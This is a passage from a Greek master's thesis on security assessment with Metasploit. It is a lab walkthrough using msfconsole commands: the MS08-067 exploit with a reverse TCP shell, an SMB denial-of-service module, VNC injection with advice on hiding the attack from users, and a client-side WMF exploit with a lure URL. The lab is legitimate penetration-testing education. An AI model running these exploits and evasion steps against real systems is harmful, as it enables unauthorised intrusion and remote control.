Αυτή η διεπαφή είναι εντυπωσιακή και διατίθεται ελεύθερα. Για να γίνει χρήση της, χρησιµοποιείται η 

εντολή armitage και κατά τη διάρκεια της εκκίνησης επιλέγεται το Start MSF . Μόλις φορτωθεί 

επιλέγεται από το µενού µια συγκεκριµένη επίθεση.  

MSFweb :  
Αυτή η διεπαφή έχει καταργηθεί και αφαιρεθεί από το Metasploit διότι δεν ήταν πολύ σταθερή και 

εξελισσόταν πολύ αργά.  
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3. MODULES  

Exploit : 
[11]

  

Είναι ένα µικρό και πλήρως εξειδικευµένο πρόγραµµα υπολογιστή µε το οποίο ο επιτιθέµενος ή ο 

penetration tester µπορεί εκµεταλλευτεί την ευπάθεια που υπάρχει σε ένα σύστηµα, µια εφαρµογή ή µια 

υπηρεσία ώστε να αποκτήσει πρόσβαση στο σύστηµα – στόχο.  Τα exploits συνήθως «ελευθερώνουν» 

ένα payload στο σύστηµα – στόχο ώστε να δώσουν στον επιτιθέµενο πρόσβαση στο σύστηµα. Ένα 

exploit χωρίς payload είναι ένα auxiliary module.  

Payload :  

Το payload είναι ένα κοµµάτι κώδικα το οποίο εκτελείται στο σύστηµα και δίνει τον έλεγχό του. Το πιο 

διαδεδοµένο payload του Metasploit είναι το Meterpreter, το οποίο παρέχει πολλές δυνατότητες , όπως 

το «ανέβασµα και κατέβασµα» αρχείων, τα στιγµιότυπα από την οθόνη του θύµατος και ο πλήρης 

έλεγχος του υπολογιστή του θύµατος µέσα από την οθόνη, το ποντίκι και το πληκτρολόγιο.  Ένα άλλο 

payload είναι το reverse shell το οποίο δηµιουργεί σύνδεση από το σύστηµα – στόχος πίσω στον 

επιτιθέµενο σαν γραµµή εντολών των Windows.  

NOP Generators :   

Είναι βοηθητικά modules τα οποία χρησιµοποιούνται για τη δηµιουργία µη λειτουργικών εντολών, 

κυρίως για χρονοπρογραµµατιστικούς σκοπούς.  

Encoders :  

Χρησιµοποιούνται για την κωδικοποίηση των payload πακέτων ώστε να µην είναι εύκολα ανιχνεύσιµα 

από τα συστήµατα εντοπισµού εισβολών.  

4. PLUGINS 
Συγκριτικά µε τα modules, τα plugins έχουν σχεδιαστεί έτσι ώστε να αλλάζουν το MSF αυτό καθ’ αυτό. 

Η εισαγωγή νέων plugins είναι που εξυψώνει την ωφελιµότητα του framework ως εργαλείο ανάπτυξης 

ασφάλειας.  

Εκτέλεση και ανάλυση παραδείγµατος µε εντολές 

Στην παρούσα εργασία χρησιµοποιείται η διεπαφή msfconsole καθώς, όπως αναφέρθηκε, επιτρέπει στο 

χρήστη να έχει πρόσβαση σε περισσότερες δυνατότητες του Metasploit και είναι η πιο σταθερή διεπαφή 

του MSF.  

 Πριν χρησιµοποιήσουµε, όµως, το Metasploit στο Backtrack είναι απαραίτητο να 

εξασφαλίσουµε την τελευταία έκδοσή του και των εργαλείων του. Έτσι, λοιπόν, στη γραµµή εντολών του 

Backtrack χρησιµοποιούµε την παρακάτω εντολή : 

root@bt:~# apt-get update && apt-get upgrade && apt-get dist-upgrade 

 Έπειτα, φορτώνοντας την msfconsole πληκτρολογούµε την παρακάτω εντολή για να 

αποκτήσουµε και την πιο καινούρια έκδοση του Metasploit :  

root@bt:/opt/framework3/msf3# msfupdate 

 Τώρα, πλέον, είµαστε έτοιµοι να ξεκινήσουµε µια επίθεση. Το MSF περιέχει χιλιάδες modules 

και είναι αδύνατο να τα θυµάται κάποιος όλα.  

Show  

Πατώντας την εντολή “show” εµφανίζονται όλα τα διαθέσιµα modules, διαχωρισµένα στις γνωστές 

κατηγορίες, αλλά και πάλι είναι δύσκολο για κάποιον να τα ελέγξει όλα ένα  ένα.  

Show exploits 

Χρησιµοποιώντας την εντολή “show exploits” , εµφανίζεται η λίστα µε όλα τα διαθέσιµα exploits στο 

MSF, και η λίστα αυτή µεγαλώνει διαρκώς καθώς δηµιουργούνται νέα exploits. Και µε αυτήν την εντολή 

η αναζήτηση για συγκεκριµένο exploit είναι το ίδιο δύσκολη. 



ΠΑ
ΝΕ
ΠΙ
ΣΤ
ΗΜ

ΙΟ
 Π
ΕΙ
ΡΑ
ΙΩ
Σ

Μεταπτυχιακή ∆ιατριβή                                                                                                            Μπαλλάση Σταυρούλα - Ινώ
                                                                             

Επιθέσεις σε λειτουργικά συστήµατα µε χρήση του Metasploit στα πλαίσια της Αξιολόγησης Ασφάλειας                 20 

Search 

Έτσι, λοιπόν, υπάρχει η εντολή “search” η οποία είναι πολύ χρήσιµη για να βρεθεί κάποιο module 

συγκεκριµένου τύπου επίθεσης. Για παράδειγµα, εάν η επίθεση που θέλουµε να κάνουµε είναι εναντίον 

του πρωτοκόλλου SMB, ψάχνουµε για σχετικά modules ως εξής:   

msf  > search smb 

Use 

Επιλέγουµε το module που επιθυµούµε χρησιµοποιώντας την παρακάτω εντολή :  

msf > use windows/smb/ms08_067_netapi 

Στο αποτέλεσµα που παίρνουµε αλλάζει το περιεχόµενο σε αυτό του συγκεκριµένου module. 

msf exploit(ms08_067_netapi) >  

Show Options 

Στο σηµείο αυτό όπου είναι εµφανές ποιο module έχουµε επιλέξει, µπορούµε να χρησιµοποιήσουµε την 

παρακάτω εντολή ώστε να εµφανιστούν τα ορίσµατα του module αυτού και ποια από αυτά είναι 

απαραίτητα για τη συνέχιση της επίθεσης.   

msf exploit(ms08_067_netapi) > show options 

Το αποτέλεσµα αυτής της εντολής είναι το εξής :  

 
 

Αυτή η προσέγγιση για πρόσβαση στις διαθέσιµες επιλογές κάθε module διατηρεί τη διεπαφή πιο απλή 

και εύχρηστη και επιτρέπει στο χρήστη να συγκεντρώνεται µόνο στις επιλογές που τον ενδιαφέρουν κάθε 

στιγµή.  

Show Payloads 

Όταν χρησιµοποιείται η εντολή “show payloads” µέσα από ένα συγκεκριµένο module, όπως φαίνεται 

παρακάτω, εµφανίζονται µόνο τα payloads που είναι συµβατά µε το συγκεκριµένο module και το 

λειτουργικό σύστηµα στο οποίο στοχεύει.  

msf exploit(ms08_067_netapi) > show payloads 
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Στην περίπτωση, δηλαδή, του παραδείγµατος εµφανίζονται µόνο αυτά των Windows.  

 

 
 

Set Payload 

Στο σηµείο αυτό, επιλέγεται ένα από τα διαθέσιµα payloads µε την παρακάτω εντολή : 

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp  

και ξαναχρησιµοποιείται η εντολή “show options” που τώρα θα δείξει και τα ορίσµατα του 

συγκεκριµένου payload, όπως φαίνεται παρακάτω :  
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Set LHOST / RHOST 

Παρατηρούµε, όπως είπαµε, ότι υπάρχουν και επιπλέον επιλογές όπως οι LHOST και LPORT. Σε αυτό 

το παράδειγµα, πρέπει να οριστούν η IP διεύθυνση και η πόρτα του επιτιθέµενου διότι µε αυτόν τον 

τρόπο  το σύστηµα – στόχος θα συνδεθεί πίσω σε αυτόν (reverse payload). Αυτός ο τρόπος 

χρησιµοποιείται για να παρακαµφθεί ένα πιθανό τείχος προστασίας.  Έτσι, πρέπει να οριστούν οι IP 

διευθύνσεις του επιτιθέµενου και του στόχου, ενώ οι πόρτες θα παραµείνουν όπως είναι. 

msf exploit(ms08_067_netapi) > set RHOST 192.168.108.129 [Remote Host] 

RHOST => 192.168.108.129 

msf exploit(ms08_067_netapi) > set LHOST 192.168.108.128 [Local Host] 

LHOST => 192.168.108.128 

Exploit 

Τέλος, µε αυτή την εντολή πραγµατοποιούµε την επίθεση :  

msf exploit(ms08_067_netapi) > exploit 

και αποκτάµε πρόσβαση στο σύστηµα. 

 

Sessions  

Αφού αποκτήσαµε πρόσβαση στο σύστηµα, βλέποντας ότι άνοιξε µια σύνδεση Meterpreter από τον 

επιτιθέµενο στο θύµα, εκτελούµε την παρακάτω εντολή για να δούµε τη λίστα των υπαρχόντων 

συνδέσεων.  

msf exploit(ms08_067_netapi) > sessions -l 

Βλέπουµε ότι µια µόνο σύνδεση είναι ενεργή, αλλά αν η επίθεση είχε ως στόχο πολλά συστήµατα, θα 

µπορούσαν να ανοίξουν ταυτόχρονα πολλές συνδέσεις.  

 
 

Για να αλληλεπιδράσει τώρα ο χρήστης µε τη σύνδεση αυτή, χρησιµοποιεί την παράµετρο “-i” και στη 

συνέχεια τον αριθµό – Id που χαρακτηρίζει τη συγκεκριµένη σύνδεση.  

msf exploit(ms08_067_netapi) > sessions –i 1 

και παίρνει το παρακάτω αποτέλεσµα. Όπως φαίνεται ανοίγει ο meterpreter, και χρησιµοποιώντας την 

εντολή “shell” επιτυγχάνεται η πρόσβαση στη γραµµή εντολών του θύµατος - Windows. 
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Συνοπτική αναφορά εντολών [12]  

Στην προηγούµενη ενότητα περιγράφηκαν αναλυτικά οι εντολές του Metasploit που χρησιµοποιούνται 

περισσότερο στα παραδείγµατα της παρούσας εργασίας. Σε αυτήν παρατίθενται όλες σχεδόν οι εντολές 

του Metasploit, κατά αλφαβητική σειρά. 

Back  

Όταν τελειώσουµε µε το συγκεκριµένου module που ασχολούµαστε ή εάν κάνουµε κάποιο λάθος και 

επιλέξουµε άλλο module, µε την εντολή “back” µεταφερόµαστε έξω από αυτό. Στη δεύτερη περίπτωση, 

βέβαια, δεν είναι υποχρεωτικό να χρησιµοποιήσουµε την εντολή καθώς µπορούµε να αλλάξουµε module 

απλά ορίζοντας εκείνο που θέλουµε.  

Check 

∆εν υπάρχουν πολλά exploits που υποστηρίζουν τη συγκεκριµένη εντολή. Η επιλογή αυτή µπορεί να 

δείξει εάν ο στόχος είναι ευπαθής στο συγκεκριµένο exploit προτού εκτελεστεί.  

Connect 

Χρησιµοποιώντας την εντολή αυτή µαζί µε την IP διεύθυνση και την πόρτα, µπορεί ο χρήστης να 

συνδεθεί σε ένα αποµακρυσµένο Host µέσω της msfconsole, όπως θα έκανε και µε netcat ή telnet.  

Info 

Η εντολή αυτή παρέχει λεπτοµερείς πληροφορίες σχετικά µε ένα συγκεκριµένο module, 

συµπεριλαµβανοµένων όλων των επιλογών, των στόχων κτλ. Πριν τη χρήση οποιουδήποτε module 

συνίσταται η ανάγνωση των πληροφοριών αυτών διότι µερικά από αυτά έχουν ανεπιθύµητες ενέργειες.  

Jobs  

Τα Jobs είναι  modules που εκτελούνται στο παρασκήνιο. Η εντολή “jobs” δίνει τη δυνατότητα 

εµφάνισης αυτών σε λίστα και του τερµατισµού τους.  

Set / Unset 

Η εντολή “set”, όπως αναφέρθηκε στο παράδειγµα, χρησιµοποιείται για να ορίσει τις επιλογές και τις 

παραµέτρους του εκάστοτε module. Η αντίθετη εντολή, “unset” διαγράφει µια ήδη ορισµένη 

παράµετρο. Όλες οι παράµετροι µπορούν να διαγραφούν µε την εντολή “unset all”.  
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Setg 

Για να γλιτώσουµε χρόνο και κόπο κατά τη διάρκεια του penetration testing, µπορούµε να ορίσουµε 

καθολικές παραµέτρους στο msfconsole, τις οποίες θα χρησιµοποιούµε σε όσα exploits και modules 

επιθυµούµε. Αντίστοιχα, για αν διαγράψουµε µια τέτοια µεταβλητή χρησιµοποιούµε την εντολή 

“unsetg”.     

Sessions 

Με την εντολή “sessions –l” δηµιουργείται µια λίστα από τις ενεργές συνδέσεις και αφού 

δηµιουργηθεί χρησιµοποιείται η εντολή “sessions –i ID” ώστε να χρησιµοποιηθεί η σύνδεση µε το 

επιλεγµένο ID για να επιτευχθεί πρόσβαση στο σύστηµα. 

Search 

Εάν ο χρήστης έχει µια γενική ιδέα για το τι ψάχνει µπορεί να χρησιµοποιήσει την εντολή αυτή, καθώς η 

λειτουργία αυτή προσπαθεί να ταιριάξει το input της εντολής όνοµα module, περιγραφή, αναφορές κτλ. 

Μπορεί να χρησιµοποιηθεί µε τα παρακάτω ορίσµατα :  

 

Show 

Η εντολή “show” αναλύθηκε αρκετά παραπάνω αλλά σε αυτό το σηµείο παρουσιάζονται όλες οι 

παράµετροι που µπορεί να δεχθεί :  

show auxiliary 

show exploits 

show payloads 

show options 

show targets 

show advanced 

show encoders 

show nops 

Use 

Χρησιµοποιείται για να επιλέξει ο χρήστης µε ποιο exploit ή module θα πραγµατοποιήσει την επίθεσή 

του. 
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Υλοποίηση Επιθέσεων 

Denial of Service  

Οι Denial Of Service (D.O.S.) επιθέσεις είναι µηχανισµοί που έχουν ως απώτερο σκοπό να καταστήσουν 

ένα υπολογιστικό σύστηµα ή ένα δίκτυο ανίκανο να εξυπηρετήσει τους εξουσιοδοτηµένους χρήστες του.  

Ο επιτιθέµενος αποσκοπεί στο να υπερφορτώσει σε πολύ µεγάλο βαθµό το σύστηµα – στόχο 

καταναλώνοντας µνήµη και bandwith. Για να επιτύχει αυτό στέλνει πακέτα δεδοµένων (πλαστά αιτήµατα 

σύνδεσης) σε υπερβολικά µεγάλο ρυθµό, έτσι ώστε να καταστεί αδύνατη η επεξεργασία τους από το 

σύστηµα – στόχο, και να αναγκαστεί στις περισσότερες περιπτώσεις να κάνει επανεκκίνηση (reboot). Σε 

αυτές τις περιπτώσεις, συνήθως, δεν υπάρχει απώλεια δεδοµένων αλλά χάνεται ό, τι πληροφορία δεν είχε 

αποθηκευτεί µέχρι εκείνη την ώρα στο σύστηµα. Βέβαια, τα αρνητικά αποτελέσµατα είναι 

σηµαντικότερα όταν η επίθεση γίνεται, όχι σε έναν απλό υπολογιστή, αλλά σε εξυπηρετητές (servers). 

 Παρακάτω περιγράφονται µερικές D.O.S. επιθέσεις που σχετίζονται µε το πρωτόκολλο TCP/IP. 

Οι πιο γνωστές είναι οι Ping of Death, Teardrop, SYN Attack, Land Attack και Smurf Attack. 

• Ping of Death: Η επίθεση αυτή, συχνά συναντάται και µε τη συντοµογραφία POD, είναι η 

παλαιότερη και πιο διαδεδοµένη µορφή επίθεσης χάρη στην ευκολία υλοποίησής της. Είναι 

κοινά αποδεκτό ότι κάθε υπολογιστής συνδεδεµένος µε το Internet πρέπει να µπορεί να δέχεται 

αιτήµατα ping και να απαντάει µε τα αντίστοιχα pong, καθώς έτσι φαίνεται ότι είναι ακόµα 

ζωντανός και  είναι ένας καλός τρόπος να υπολογισθεί η ταχύτητα απόκρισής του. Ο 

επιτιθέµενος, λοιπόν, στέλνει πολλά µηνύµατα ping και το σύστηµα – στόχος, όντας 

αναγκασµένο να αποκριθεί, καταναλώνει πολύ υπολογιστική ισχύ και bandwith ώστε να 

αποστείλει τον κατάλληλο αριθµό pong. Έτσι, η εκτέλεση των υπόλοιπων εργασιών καθυστερεί  

και είναι πολύ πιθανό να διακοπεί τελείως η λειτουργία.  

• Teardrop: Αυτή η επίθεση εκµεταλλεύεται την ιδιότητα του πρωτοκόλλου IP που αφορά τον 

κατακερµατισµό των πακέτων κατά την αποστολή τους στο δίκτυο. Γενικά, όταν ένα πακέτο 

αποστέλλεται στο διαδίκτυο, ενδέχεται να χωριστεί σε επιµέρους πακέτα IP, τα οποία 

επανασυναρµολογούνται στον υπολογιστή που λαµβάνει τη µετάδοση. Αυτά τα πακέτα έχουν 

στο αρχικό τους κοµµάτι (TCP header) ένα πεδίο (offset) που περιγράφει πώς θα γίνει η 

συναρµολόγηση. Στην επίθεση αυτή, τα πεδία αυτά είτε είναι κενά είτε υπερκαλύπτουν το ένα 

το άλλο, δηλαδή το offset του επόµενου πακέτου είναι µικρότερο από το άθροισµα των bytes 

του προηγούµενου, µε αποτέλεσµα το σύστηµα που λαµβάνει τα πακέτα όταν προσπαθεί να τα 

συναρµολογήσει παθαίνει κατάρρευση , "πάγωµα"  ή και επανεκκίνηση (reboot).  

• SYN Attack: Αυτή η επίθεση, γνωστή και ως “TCP/SYN flooding” εκµεταλλεύεται το 

µηχανισµό της τριπλής χειραψίας  (three-way handshake) του TCP πρωτοκόλλου.  Ο 

επιτιθέµενος αποστέλλει πολλά πακέτα SYN στο σύστηµα – στόχο χρησιµοποιώντας µια 

πλαστή διεύθυνση IP που δεν υπάρχει στο internet. Το θύµα, για κάθε πακέτο που λαµβάνει, 

αποστέλλει ένα πακέτο SYN-ACK στη διεύθυνση προέλευσης, κι επειδή δε λαµβάνει κάποια 

απόκριση από τον επιτιθέµενο ξαναστέλνει το πακέτο SYN-ACK µην µπορώντας πλέον να 

αποδεσµεύσει τους υπολογιστικούς πόρους που χρησιµοποιεί. Αν συνεχιστεί η επίθεση, το θύµα 

δεν µπορεί να διαχειριστεί επιπλέον συνδέσεις και αρνείται τις υπηρεσίες του στους νόµιµους 

χρήστες. 

• Land Attack: Η επίθεση αυτή έχει τη ίδια λογική µε την προηγούµενη περίπτωση, µόνο που εδώ 

η διεύθυνση προέλευσης που χρησιµοποιείται είναι ίδια µε τη διεύθυνση προορισµού και αυτό 

έχει ως αποτέλεσµα µια ατελείωτη σειρά (endless loop) επεξεργασίας για το σύστηµα.  

• Smurf Attack : Στην επίθεση αυτή στέλνεται ένας υπέρογκος αριθµός από αιτήµατα ping σε 

έναν ή παραπάνω διακοµιστές µετάδοσης, παραποιώντας ταυτόχρονα την διεύθυνση IP του 

αποστολέα και αντικαθιστώντας την µε την διεύθυνση του υπολογιστή στόχου. Ο διακοµιστής 

µετάδοσης προωθεί το αίτηµα σε όλο το δίκτυο, οι υπολογιστές του δικτύου απαντούν στο 

αίτηµα και ο διακοµιστής µετάδοσης στέλνει τις απαντήσεις που έχει λάβει στο µηχάνηµα -

στόχο. Ως εκ τούτου, όλες οι απαντήσεις από τους διάφορους υπολογιστές του δικτύου 

κατευθύνονται προς τον υπολογιστή στόχο.  

Η επίθεση που πραγµατοποιείται στο παράδειγµα µας παρουσιάζεται στην παρακάτω εικόνα: 
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Χρησιµοποιείται το “auxiliary ms06_063_trans” ,  το οποίο εκµεταλλεύεται κάποιες ευπάθειες 

στο Server Service των Windows που επιτρέπουν την άρνηση υπηρεσίας και την αποµακρυσµένη 

εκτέλεση κώδικα. 

 Συγκεκριµένα, οι ευπάθειες αυτές (Server Service Denial of Service Vulnerability- CVE-2006-

3942 και SMB Rename Vulnerability - CVE-2006-4696),  υπάρχουν στο Server service εξαιτίας του  

τρόπου που χειρίζεται συγκεκριµένα µηνύµατα δικτύου. Ένας επιτιθέµενος θα µπορούσε να τις 

εκµεταλλευτεί στέλνοντας ένα ειδικά διαµορφωµένο µήνυµα δικτύου σε έναν υπολογιστή που τρέχει το 

Server service, και αν η επίθεση είναι επιτυχηµένη µπορεί ο επιτιθέµενος να αποκτήσει πλήρη έλεγχο του 

συστήµατος και να το κάνει να σταµατήσει να αποκρίνεται. 

 Στη συνέχεια, µε την εντολή “show options” βλέπουµε τις απαραίτητες ρυθµίσεις της 

επίθεσης και ορίζουµε το RHOST =192.168.108.129. Τέλος, µε την εντολή “exploit” πραγµατοποιείται η 

επίθεση και στο σύστηµα – στόχος εµφανίζεται η µπλε οθόνη και γίνεται επανεκκίνηση, όπως φαίνεται 

παρακάτω. 
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Server Message Block (SMB)  

Το SMB (Server Message Block) είναι ένα πρωτόκολλο για διαµοιρασµό αρχείων, εκτυπωτών, 

σειριακών θυρών κλπ. Είναι ένα πρωτόκολλο εξυπηρετητή-πελάτη (client-server), αίτησης-απάντησης 

(request-response). Το παρακάτω διάγραµµα απεικονίζει τον τρόπο µε τον οποίο λειτουργεί το SMB.  

 
Εικόνα 3 : Λειτουργία SMB πρωτοκόλλου 

 Οι εξυπηρετητές καθιστούν διαθέσιµα τα συστήµατα αρχείων και άλλους πόρους (εκτυπωτές, 

υποδοχές αλληλογραφίας, APIs)  στους πελάτες του δικτύου. Οι υπολογιστές-πελάτες µπορούν να έχουν 

το δικό τους σκληρό δίσκο, αλλά θέλουν επίσης να έχουν πρόσβαση σε κοινά συστήµατα αρχείων και 

εκτυπωτές στους εξυπηρετητές. Συνδέονται µε τους διακοµιστές χρησιµοποιώντας το πρωτόκολλο TCP / 

IP και από τη στιγµή που δηµιουργούν µια σύνδεση, οι πελάτες µπορούν να στέλνουν εντολές (SMBs) 

στο διακοµιστή που τους επιτρέπουν να έχουν πρόσβαση σε  ανοιχτά αρχεία, read/write αρχεία και 

γενικά να κάνουν όλων των ειδών τις ενέργειες που θα έκαναν σε ένα σύστηµα αρχείων . 
[13]

   

 Αυτή η επίθεση, λοιπόν, βασίζεται στο SMB πρωτόκολλο. Συγκεκριµένα, τα Windows 

χρησιµοποιούν αυτό το πρωτόκολλο ώστε ο χρήστης να µπορεί να επικοινωνήσει µε το τοπικό δίκτυο 

χωρίς να χρειάζεται εγκατάσταση επιπλέον software. Αντίστοιχα, υπολογιστές µε λειτουργικό Unix-

Linux µπορούν να συνδεθούν σε ένα δίκτυο µε πελάτες και διακοµιστές οι οποίοι χρησιµοποιούν 

λειτουργικά της Microsoft, και να λειτουργούν µε τον ίδιο ακριβώς τρόπο, όπως αυτοί οι υπολογιστές.  

Χρησιµοποιούνται οι εντολές που φαίνονται στην εικόνα για να εκτελεστεί η επίθεση: 

 
 Το module αυτό εκµεταλλεύεται ένα ελάττωµα κατά τη διάρκεια της κανονικοποίησης του 

κώδικα  της Netapi32.dll µέσω της υπηρεσίας διακοµιστή. Αυτό το module είναι σε θέση να παρακάµπτει 

την τεχνολογία  NX σε ορισµένα λειτουργικά συστήµατα και service pack. Ο σωστός στόχος πρέπει να 

χρησιµοποιείται για να αποτρέπει την υπηρεσία διακοµιστή από το κρασάρισµα. Τα Windows XP 

φαίνεται ότι µπορούν να χειριστούν πολλαπλά επιτυχηµένα γεγονότα εκµετάλλευσης, αλλά  τα 2003 

συχνά καταλήγουν σε κρασάρισµα.  

 Στη συνέχεια, επιλέγεται το payload, ορίζονται οι LHOST και RHOST και εκτελείται το exploit 

µε τα εξής αποτελέσµατα στο Backtrack. 

 
Τέλος, µε την εντολή shell στον meterpreter αποκτάται πλήρης πρόσβαση στο σύστηµα µέσω της 

κονσόλας και η επίθεση θεωρείται επιτυχής. 



ΠΑ
ΝΕ
ΠΙ
ΣΤ
ΗΜ

ΙΟ
 Π
ΕΙ
ΡΑ
ΙΩ
Σ

Μεταπτυχιακή ∆ιατριβή                                                                                                            Μπαλλάση Σταυρούλα - Ινώ
                                                                             

Επιθέσεις σε λειτουργικά συστήµατα µε χρήση του Metasploit στα πλαίσια της Αξιολόγησης Ασφάλειας                 28 

VNC  

Το VNC (Virtual Network Computing) είναι µία εφαρµογή σύνδεσης ηλεκτρονικών υπολογιστών που 

χρησιµοποιεί το δικτυακό πρωτόκολλο RFB (Remote Frame Buffer) και δίνει τη δυνατότητα 

αποµακρυσµένου ελέγχου ενός υπολογιστή από έναν άλλο. Ο χρήστης του VNC µπορεί να συνδεθεί µε 

ένα διακοµιστή (server) που φέρει οποιοδήποτε λειτουργικό σύστηµα ή Java. Πολλοί χρήστες µπορούν 

να συνδεθούν ταυτόχρονα µε ένα διακοµιστή VNC.  

 

 
Εικόνα 4 : Επικοινωνία λειτουργικών συστηµάτων µέσω VNC 

Το VNC αποτελείται από: 

α) τον διακοµιστή (server), που µοιράζεται την οθόνη του  

β) τον πελάτη (client / viewer), που παρακολουθεί, ελέγχει και επικοινωνεί µε το διακοµιστή. 

γ) το πρωτόκολλο RFB, που είναι πολύ απλό και χρησιµοποιείται για αποµακρυσµένη σύνδεση σε 

γραφικές διεπαφές µε το χρήστη.  

 

 
Εικόνα 5 : Λειτουργία πρωτοκόλλου VNC 

 Εξ’ ορισµού, ο πελάτης (viewer / client) χρησιµοποιεί την TCP πόρτα 5900 για να συνδεθεί µε 

το διακοµιστή, ενώ ο browser µπορεί να συνδεθεί µε το διακοµιστή στην πόρτα 5800.  

 Όσον αφορά την ασφάλεια, το RFB δεν είναι ένα ασφαλές πρωτόκολλο. Παρόλο που οι κωδικοί 

δεν στέλνονται σε απλό κείµενο, το να σπάσουν (cracking) θα µπορούσε να επιτευχθεί εάν και το κλειδί 

κρυπτογράφησης και ο κωδικοποιηµένος κωδικός υποκλαπούν από το δίκτυο. Γι’ αυτό το λόγο 

προτείνεται να χρησιµοποιείται ένας κωδικός τουλάχιστον 8 χαρακτήρων. Από την άλλη, υπάρχει επίσης 

ένα όριο 8 χαρακτήρων σε µερικές εκδόσεις VNC. Αν ένας κωδικός που στέλνεται, ξεπερνάει τους οκτώ 
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χαρακτήρες, οι επιπλέον χαρακτήρες θα αφαιρεθούν και το «κοµµένο» αλφαριθµητικό θα συγκριθεί µε 

τον κωδικό.  

 Όπως αναφέρθηκε παραπάνω, το πρωτόκολλο RFB δεν είναι ασφαλές, και καθιστά εύκολη την 

επίθεση σε ένα αποµακρυσµένο υπολογιστή. Στη συγκεκριµένη περίπτωση, ο διακοµιστής είναι τα 

Windows και ο πελάτης το Backtrack. Αρχικά, λοιπόν, στα Windows τρέχουµε τον VNC server, όπως 

φαίνεται παρακάτω: 

 
 

Στη συνέχεια, πραγµατοποιούµε σάρωση θυρών µε το Nmap και όπως φαίνεται στην παρακάτω 

εικόνα, οι πόρτες 5800 και 5900 µε την ένδειξη υπηρεσίας vnc-http και vnc, αντίστοιχα, είναι ανοιχτές. 

 

 
 

Αφ’ ότου τελειώσει η παραπάνω διαδικασία µε το Nmap, πραγµατοποιείται η επίθεση µε τις εντολές που 

φαίνονται: 
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 Χρησιµοποιείται αρχικά το συγκεκριµένο exploit γιατί περιέχει το payload που απαιτείται γι’ 

αυτήν την επίθεση, το windows/vncinject/reverse_tcp. Χρησιµοποιώντας το payload του 

Metasploit για VNC injection, µπορούµε να εισάγουµε ένα VNC διακοµιστή αποµακρυσµένα, και να 

έχουµε στην οθόνη µας την οθόνη του συστήµατος – στόχου. Οι χρήστες του συστήµατος - στόχου δεν 

θα καταλάβουν ότι η οθόνη τους µοιράζεται, καθώς υπάρχει ένα τέχνασµα κατά το οποίο πρέπει να 

απενεργοποιηθεί το Metasploit courtesy shell που εµφανίζεται στην οθόνη του συστήµατος - στόχου. Εάν 

το courtesy shell δεν απενεργοποιηθεί, τότε θα δείξει ένα µπλε παράθυρο γραµµής εντολών κατά τη 

στιγµή της επίθεσης, όπως φαίνεται στην παρακάτω εικόνα. Αυτό µπορεί να προειδοποιήσει τους 

χρήστες του συστήµατος στόχου, και να οδηγήσει σε ανίχνευση της επίθεσης. Μετά την απενεργοποίηση 

του courtesy shell, δεν θα εµφανιστεί το µπλε παράθυρο γραµµής εντολών.  Η VNC injection µπορεί, 

επίσης, να χρησιµοποιηθεί και όταν ο χρήστης δεν είναι συνδεδεµένος, οπότε σε αυτή την περίπτωση, δε 

χρειάζεται να απενεργοποιηθεί το courtesy shell.   

 Τέλος, αφού ορισθούν οι  RHOST και LHOST κατάλληλα, η επίθεση πραγµατοποιείται µε την 

εντολή exploit και το αποτέλεσµα που φαίνεται στην οθόνη είναι το παρακάτω: 
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Client-Side attack 

Η έννοια “client-side” αναφέρεται σε λειτουργίες που εκτελούνται από τον πελάτη σε µια σχέση πελάτη-

διακοµιστή σε ένα δίκτυο υπολογιστών.  

Συνήθως, ο πελάτης είναι µια εφαρµογή υπολογιστή, π.χ. ένα πρόγραµµα περιήγησης στο Web, 

το οποίο τρέχει σε τοπικό υπολογιστή και συνδέεται µε ένα διακοµιστή, όταν είναι απαραίτητο. Οι 

λειτουργίες µπορεί να εκτελούνται στην πλευρά του πελάτη επειδή απαιτούν πρόσβαση σε πληροφορίες 

ή λειτουργίες που είναι διαθέσιµες για τον πελάτη, αλλά όχι για τον  διακοµιστή, ή επειδή ο χρήστης θα 

πρέπει κάπως να συµβάλει (input), ή επειδή ο διακοµιστής δεν διαθέτει την επεξεργαστική ισχύ για να 

εκτελεί τις εργασίες εγκαίρως για όλους τους πελάτες που εξυπηρετεί. Επιπλέον, εάν οι λειτουργίες 

µπορούν να εκτελεστούν από τον πελάτη, χωρίς την αποστολή δεδοµένων µέσω του δικτύου, µπορεί να 

χρειαστεί λιγότερος χρόνος, να χρησιµοποιηθεί µικρότερο εύρος ζώνης, και ο κίνδυνος για την ασφάλεια 

να είναι µικρότερος. 

Όσον αφορά τις client-side επιθέσεις, είναι ένα µεγάλο θέµα για τους επιτιθέµενους. Ενώ οι 

διαχειριστές δικτύων και οι προγραµµατιστές λογισµικού οχυρώνουν περιµετρικά ένα το σύστηµα, οι 

pentesters πρέπει να βρουν έναν τρόπο να κάνουν τα θύµατα να ανοίξουν την πόρτα για να µπουν στο 

δίκτυο. Οι επιθέσεις αυτές απαιτούν την αλληλεπίδραση του χρήστη, όπως το να παρακινηθεί να κάνει 

κλικ σε ένα σύνδεσµο, να ανοίξει ένα έγγραφο, ή µε κάποιο τρόπο να φτάσει στον κακόβουλο ιστοχώρο 

του επιτιθέµενου. 

 Στην επίθεση που παρουσιάζεται στο παράδειγµα, ο πελάτης παρακινείται να ανοίξει ένα 

σύνδεσµο, ο οποίος του κινεί το ενδιαφέρον. Αρχικά, χρησιµοποιούνται οι παρακάτω εντολές:  

 
Αυτό το exploit βασίζεται κυρίως σε µια ευπάθεια της βιβλιοθήκης GDI που περιλαµβάνεται στα 

Windows XP και 2003. Αυτή η ευπάθεια χρησιµοποιεί την «Escape metafile function» ώστε να εκτελέσει 

κάποιο κοµµάτι κώδικα µέσω της διαδικασίας «SetAbortProc». ∆ηµιουργείται, έτσι, ένα τυχαίο WMF 

record stream για κάθε αίτηµα. Όσον αφορά το payload, το σύστηµα – στόχος (εδώ τα Windows) 

συνδέονται πίσω στο σύστηµα – επιτιθέµενο (Backtarck).  

 Αφού ορίσουµε τις παραµέτρους που απαιτούνται - SRVHOST, LHOST - , µπορούµε να 

ορίσουµε και ένα URIPATH το οποίο να «τραβάει» την προσοχή του θύµατος.  

  
 

Στη συνέχεια, εκτελούµε το exploit: 

 
 

Στην παραπάνω εικόνα φαίνεται το URL που δηµιουργείται και χρησιµοποιείται στη συνέχεια στο θύµα. 

Συγκεκριµένα, στον browser του θύµατος γίνεται χρήση του παραπάνω URL και έπειτα ο χρήστης 

αποφασίζει να κατεβάσει ή να αποθηκεύσει την εικόνα. 
